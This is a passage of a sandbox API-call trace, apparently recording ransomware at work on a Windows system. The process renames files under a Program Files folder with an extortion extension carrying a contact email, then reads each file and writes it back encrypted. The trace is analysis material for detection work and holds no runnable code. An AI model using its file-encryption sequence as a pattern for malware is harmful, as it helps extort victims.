Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html") returned 1 [0222.959] GetProcessHeap () returned 0x630000 [0222.959] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5170) returned 0x6fe3bb0 [0222.959] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0225.774] CloseHandle (hObject=0x6e8) returned 1 [0225.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.774] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.884] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1cb, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0225.884] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.884] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0225.887] GetProcessHeap () returned 0x630000 [0225.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1e1) returned 0x7247db0 [0225.887] GetProcessHeap () returned 0x630000 [0225.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1e1) returned 0x706cf78 [0225.888] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.888] ReadFile (in: hFile=0x6e8, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xa1c0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x5fbff0c*=0xa1c0, lpOverlapped=0x0) returned 1 [0231.520] GetProcessHeap () returned 0x630000 [0231.520] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0231.520] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.521] WriteFile (in: hFile=0x6e8, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xa1c0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x5fbff0c*=0xa1c0, lpOverlapped=0x0) returned 1 [0233.032] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.032] WriteFile (in: hFile=0x6e8, lpBuffer=0x7077137*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7077137*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.622] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.622] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.623] CloseHandle (hObject=0x6e8) returned 1 [0233.981] GetProcessHeap () returned 0x630000 [0233.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0233.981] GetProcessHeap () returned 0x630000 [0233.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0233.982] GetProcessHeap () returned 0x630000 [0233.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0235.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51325729, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa1ef, dwReserved0=0xad47496, dwReserved1=0x7247da8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0235.143] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0235.143] Sleep (dwMilliseconds=0x1) [0235.158] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\BrowserCore.exe.mui", len=0x47 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\BrowserCore.exe.mui") returned 1 [0235.158] GetProcessHeap () returned 0x630000 [0235.158] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b4) returned 0x6fe3bb0 [0235.158] CreateFileW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\BrowserCore.exe.mui" (normalized: "c:\\program files\\windows security\\browsercore\\en-us\\browsercore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.167] Sleep (dwMilliseconds=0x1) [0235.171] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html", len=0x69 | out: pbstr=0x5fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html") returned 1 [0235.171] GetProcessHeap () returned 0x630000 [0235.172] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x509c) returned 0x6fe3bb0 [0235.172] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.172] CloseHandle (hObject=0x4bc) returned 1 [0235.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.173] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x610074, dwReserved1=0x740063, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f80 [0235.174] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.174] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.174] GetProcessHeap () returned 0x630000 [0235.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa95b8 [0235.174] GetProcessHeap () returned 0x630000 [0235.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa9798 [0235.174] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.174] ReadFile (in: hFile=0x4bc, lpBuffer=0x6fa95b8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa95b8*, lpNumberOfBytesRead=0x5fbff0c*=0xc0, lpOverlapped=0x0) returned 1 [0235.175] GetProcessHeap () returned 0x630000 [0235.176] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0235.176] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.176] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa9798*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9798*, lpNumberOfBytesWritten=0x5fbff0c*=0xc0, lpOverlapped=0x0) returned 1 [0235.176] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.176] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa9857*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9857*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.176] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.176] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.176] CloseHandle (hObject=0x4bc) returned 1 [0235.176] GetProcessHeap () returned 0x630000 [0235.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa9798 | out: hHeap=0x630000) returned 1 [0235.176] GetProcessHeap () returned 0x630000 [0235.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa95b8 | out: hHeap=0x630000) returned 1 [0235.176] GetProcessHeap () returned 0x630000 [0235.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0235.176] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x521fe8a6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x5fbfd20, dwReserved1=0x6fa95b8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0235.177] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.177] Sleep (dwMilliseconds=0x1) [0235.214] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml") returned 1 [0235.214] GetProcessHeap () returned 0x630000 [0235.214] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5078) returned 0x6fe3bb0 [0235.214] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.215] CloseHandle (hObject=0x6ec) returned 1 [0235.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.215] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f80 [0235.216] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.217] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.217] GetProcessHeap () returned 0x630000 [0235.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.217] GetProcessHeap () returned 0x630000 [0235.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0235.217] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.217] ReadFile (in: hFile=0x6ec, lpBuffer=0x6f3e48, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesRead=0x5fbff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.219] GetProcessHeap () returned 0x630000 [0235.219] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0235.219] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.219] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f3768*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesWritten=0x5fbff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.219] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.219] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f38e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f38e7*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.220] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.220] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.220] CloseHandle (hObject=0x6ec) returned 1 [0235.220] GetProcessHeap () returned 0x630000 [0235.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0235.220] GetProcessHeap () returned 0x630000 [0235.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.220] GetProcessHeap () returned 0x630000 [0235.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.220] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52271222, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x5fbfd20, dwReserved1=0x6f3e48, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0235.220] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.220] Sleep (dwMilliseconds=0x1) [0235.326] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x5fbff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml") returned 1 [0235.326] GetProcessHeap () returned 0x630000 [0235.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5064) returned 0x6fe3bb0 [0235.326] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.326] CloseHandle (hObject=0x6ec) returned 1 [0235.326] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.326] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0235.327] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0235.327] CreateFileW (lpFileName="C:\\Program 